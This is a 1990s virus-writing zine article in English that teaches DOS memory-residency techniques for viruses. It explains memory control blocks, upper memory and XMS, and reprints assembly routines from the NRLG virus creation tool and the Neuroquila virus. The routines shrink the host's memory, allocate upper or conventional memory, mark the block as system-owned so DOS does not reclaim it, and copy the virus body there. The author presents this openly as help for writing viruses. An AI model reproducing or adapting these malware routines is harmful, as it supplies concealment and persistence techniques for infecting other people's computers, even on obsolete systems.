Upper memory residency ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> IntrusO Well, i'll try to describe some routines used by some viruses to copy themselves into upper memory... in order to do this, i'll try to describe what's that we call upper memory, type we're interested in, the MCB, etc. Then i'll try to trace a bit of Neuroquila, looking for the techniques it it uses for this kind of residency. Let's start :-) ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Upper Memory ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ DOS has something we call UMBs; the segment where they start is kept at offset 1fh at the information table about disk buffers whose direction is returned at ES:BX+12h by the get list of lists -52h-, but in order to be able to get onto upper memory blocks, these must be linked to conven- tional memory blocks; if not, we'll do it by function 58h (Neuroquila vi- rus does this) ;-) The format of MCBs at UMBs is the following: offset 0 byte: 5ah if the last one and 4dh otherwise ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ " 1 word: with the PID (Process ID) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ " 3 word: size of block in paragraphs ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ " 8 8 bytes: 'UMB' if first block and SM if the last one ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Then we also have this other memory we're also interested in... the XMS controller, which Neuroquila (how not!) does also use... the XMS contro- ller (HIMEM.SYS loads it) adds functions to manage upper memory. In order to employ the XMS controller services we must check function 43h int 2fh (multiplex), checking for 80h in AL (what Neuroquila does). Once we know XMS is there, we must ask where to find it, with subfunction 10h, as XMS is not called by means of an int. It would be something like: mov ax,4310h ; Ask address int 2fh mov xms_seg,es ; Save it mov xms_off,bx Where xms_** would be a struc type of: xms_mgr label dword xms_off dw 0 xms_seg dw 0 Then, when we would want to use the manager, we'd use function number at AH, and run a call xms_mgr. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Normal memory blocks ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ (Erhmm... i think i sould have started here O:)) Memory blocks under DOS are bytes arrays, always multiples of 16. There- fore, a 16 bit word may keep the address of any part of the memory inside inside the meg an 8086 can handle. When a program is run, the system cre- ates two blocks for itself: the program memory block, and the enviroment memory block. When a program is run, DOS searches the largest memory block available, and assigns it to the program. The first paragraph address is called PID; moreover, in the first 256 bytes of this area, DOS creates PSP. The en- vironment block is the zone where variables are kept: PATH, SET, etc. Now let's talk about MCBs (Memory Control Blocks), as both the program block with the enviroment are following a header that contains the information about the assigned MCB. This way: offset 0 byte: ID ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ " 1 PID owner ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ " 3 size ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ " 5 to 7 reserved ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ " 8 to 15 name of owner ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Usually, a virus would subtract its length from the size kept at offset 3 and then call int 21h function 4ah to free the memory, and get it again somewhere else with function 48h. After it, it would mark the MCB with an an 8 at offset 1 (PID). Why? Because system has this PID; this way, it 'tricks' DOS not to use that portion of memory; it's only left to rep mo- vsb into the block. Memory managing functions ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 48h - Allocate memory block Input: BX = size of block, in paragraphs Output: if CF = 1, AX = error code AX:0 = address of memory block BX = if there was an error, it contains the maximum size available 49h - Free memory block Input: ES = Memory block segment Output: if CF = 1 , AX = error code 4ah - Modify allocated memory blocks Input: ES = Memory block segment BX = new size of block, in paragraphs Output: if CF = 1 , AX = error code BX = if there was an error, it contains the maximum size available This can be seen, for instance, in this routine i took from the NRLG vi- rus creation tool. I think it's very easy to understand... hope no one turns up with the (c) cause i wouldnt mind to take the routine from some- where else and this way i'm promoting it };) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 push cs ; pop ax ;ax = my actual segment dec ax ;dec my segment for look my MCB mov es,ax ; mov bx,es:[3] ;read the #3 byte of my MCB =total used memory ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push cs ; pop es ; sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus sub bx,17 + offset fin ;and 100H for the PSP total mov ah,4ah ;used memory int 21h ;put the new value to MCB ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin mov ah,48h ; int 21h ;request the memory to fuck DOS! ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dec ax ;ax=new segment mov es,ax ;ax-1= new segment MCB mov byte ptr es:[1],8 ;put '8' in the segment ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ inc ax ; mov es,ax ;es = new segment lea si,[bp + offset start] ;si = start of virus mov di,100h ;di = 100H (psp position) mov cx,offset fin - start ;cx = lag of virus push cs ; pop ds ;ds = cs cld ;mov the code rep movsb ;ds:si >> es:di - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 This would be the way to copy into memory for a .COM infector. There are some viruses which are clumsier, to say it some way, like the 'famous' (i still can't understand why) Friday 13th (Jerusalem), which calls int 21h, function 31h in order to stay resident, having to execute itself again... it isn't worth to waste our time with that, and i'm sorry for those who use *that*, but i consider it bullshit... a virus oughts to be resident! Well, up to this point, someone will be pleading for some code from Neu- roquila ;D here it is... :) try_to_move_virus: push ds push es mov ah,52h ; get list of Lists int 21h mov ds,word ptr es:[bx-2] ; First MCB segment mov si,10h cmp byte ptr [si-0ch],80h ; ¨block size > 80FFh paragraphs? mov al,0 ja DOS2_not_loaded_yet ; sure mov di,memory_size ; size it needs ; memory_size = (offset memory_top - offset start + 15) /16 call alloc_mem Here, we'll have a deep look into this interesting routine ;) ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Memory allocation routine ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ alloc_mem: mov ax,4300h int 2fh ; He asks for XMS cmp al,80h jnz no_xms_driver Curiously, we should check for the 2fh vector to be different from 0, coz that would mean that XMS isn't initialized for that DOS version and the system would hang; anyway, i've seen NO program to bear this in mind... can it be, anyway, a bug of Neuroquila? }:) Take it easy, i know some of you are heavy fans of this virus :DDD It is not a bug; Neuroquila first checks for the DOS version it's running under ;) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 mov ax,4310h int 2fh mov word ptr xms_addr,bx mov word ptr xms_addr+2,es ; What i said before ;) mov ah,10h ; Allocate upper memory mov dx,di ; size in paragraphs call xms_addr ; take it as an int dec ax ; are we going? jnz no_xms_driver ; nope mov bp,bx ; BP = UMB segment ret ; and returns no_xms_driver: ; XMS isn't available, allocate upper memory, DOS 5.0 needed mov ax,5800h int 21h ; get strategy push ax mov ax,5801h ; low memory best fit push ax mov bx,0080h ; puts allocation strategy int 21h ; BL=new strategy BH=00 (DOS 5+) mov ax,5802h ; low memory last fit int 21h ; get UMB state mov ah,0 ; preserve it push ax mov ax,5803h push ax mov bl,1 ; Connects UMB blocks int 21h mov ah,48h mov bx,di ; Allocate memory, BX = para int 21h ; of memory xchg bp,ax ; BP = assigned segment pop ax pop bx int 21h pop ax pop bx int 21h ; Restore strategy ret ; and returns - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Well, well, well, now we continue with the main routine... mov dx,bp ;-) let's remember what's in BP cmp dh,0A0h ; DX=0A000h jb in_low_mem ; low_mem? then go down! dec bp mov ds,bp mov ax,di mov word ptr [si-0fh],8 ; MCB belongs to system jmp move_virus ; just copy it in_low_men: Let's see several interesting properties of memory blocks in DOS 4.0 and 5.0, that Neuroquila will 'work' with ;) Well, since DOS 3.1, first memory block is a system data segment, which contains the device drivers in CONFIG.SYS. From DOS 4.0 and further on, this block is divided into smaller ones, each of which, preceeded by a MCB with the following structure: offset 0: Byte, type of segment: 'D' - Device driver 'E' - " " extension 'I' - IFS driver (Installable File System) 'F' - FILES = If FILES > 5, place where they are kept 'X' - FCBS = place where kept 'C' - BUFFERS = /X Expanded Memory buffers 'B' - BUFFERS = buffers area 'L' - LASTDRIVE = place where kept 'S' - STACKS = system code and stack zone 'T' - INSTALL = this order's area offset 1: Word, indicates where the subsegment starts (generally after it) offset 3: Word, size of subsegment (paragraphs) offset 8: 8 bytes: in types 'D' and 'I', name of file that loaded the driver This way, since DOS 4.0 once found first MCB, we can jump it and take the next one. In DOS 5.0, system blocks have 'SC' (System Code) or 'SD' (Sys- tem Data, which would be equal to those of the DOS 4.0) in their name. It is here where Neuroquila starts to check this MCB of the subblocks. push ds cmp byte ptr [si],46h ; FILES= ? 'F' (in hex) jz next_subMCB cmp byte ptr [si],44h ; DEVICE= ? 'D' jnz no_subMCB next_subMCB: cmp byte ptr [si],4dh ; next MCB? (5ah if last) jz last_subMCB cmp byte ptr [si],54h ; INSTALL=? 'T' jz last_subMCB mov ax,word ptr [si+1] ; MCB owner dec ax mov es,ax add ax,word ptr [si+3] ; More size for memory block mov ds,ax jmp next_subMCB ; and again! last_subMCB: lea ax,[bp+di] sub ax,es:[si-0fh] mov es:[si-0dh],ax no_subMCB: pop ds mov ax,ds ; First MCB segment sub bp,ax xchg bp,ax add ax,memory_size - 1 move_virus: mov virus_segment,ds push cs pop ds assume ds:code 2 mov virusMCB_size,ax mov es,dx mov al,(offset allready_moved-offset virus_moved_from_fixed_segment) mov byte ptr virus_moved_from_fixed_segment,al mov cx,offset memory_top xor si,si xor di,di cld rep movsb Neuroquila has many more to give, but for now... i put this, just in case someone doesn't have the Neuroquila source code, published in VLAD#5 (it is high time!) }:D - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 already_moved: push ds ; push word ptr 0c801h db 68h virus_segment dw 0c801h pop ds ; mov word ptr [3],014eh db 0c7h,06h dw 3 virusMCB_size dw 014eh pop ds ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DOS2_not_loaded_yet: pop es pop ds assume ds:nothing do_not_move: mov byte ptr virus_moved_from_fixed_segment,al popa @@65: retf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 That's all folks, hope my huge fingers and poor view, help me to write some virus that would stay resident in upper memory... :) IntrusO ;)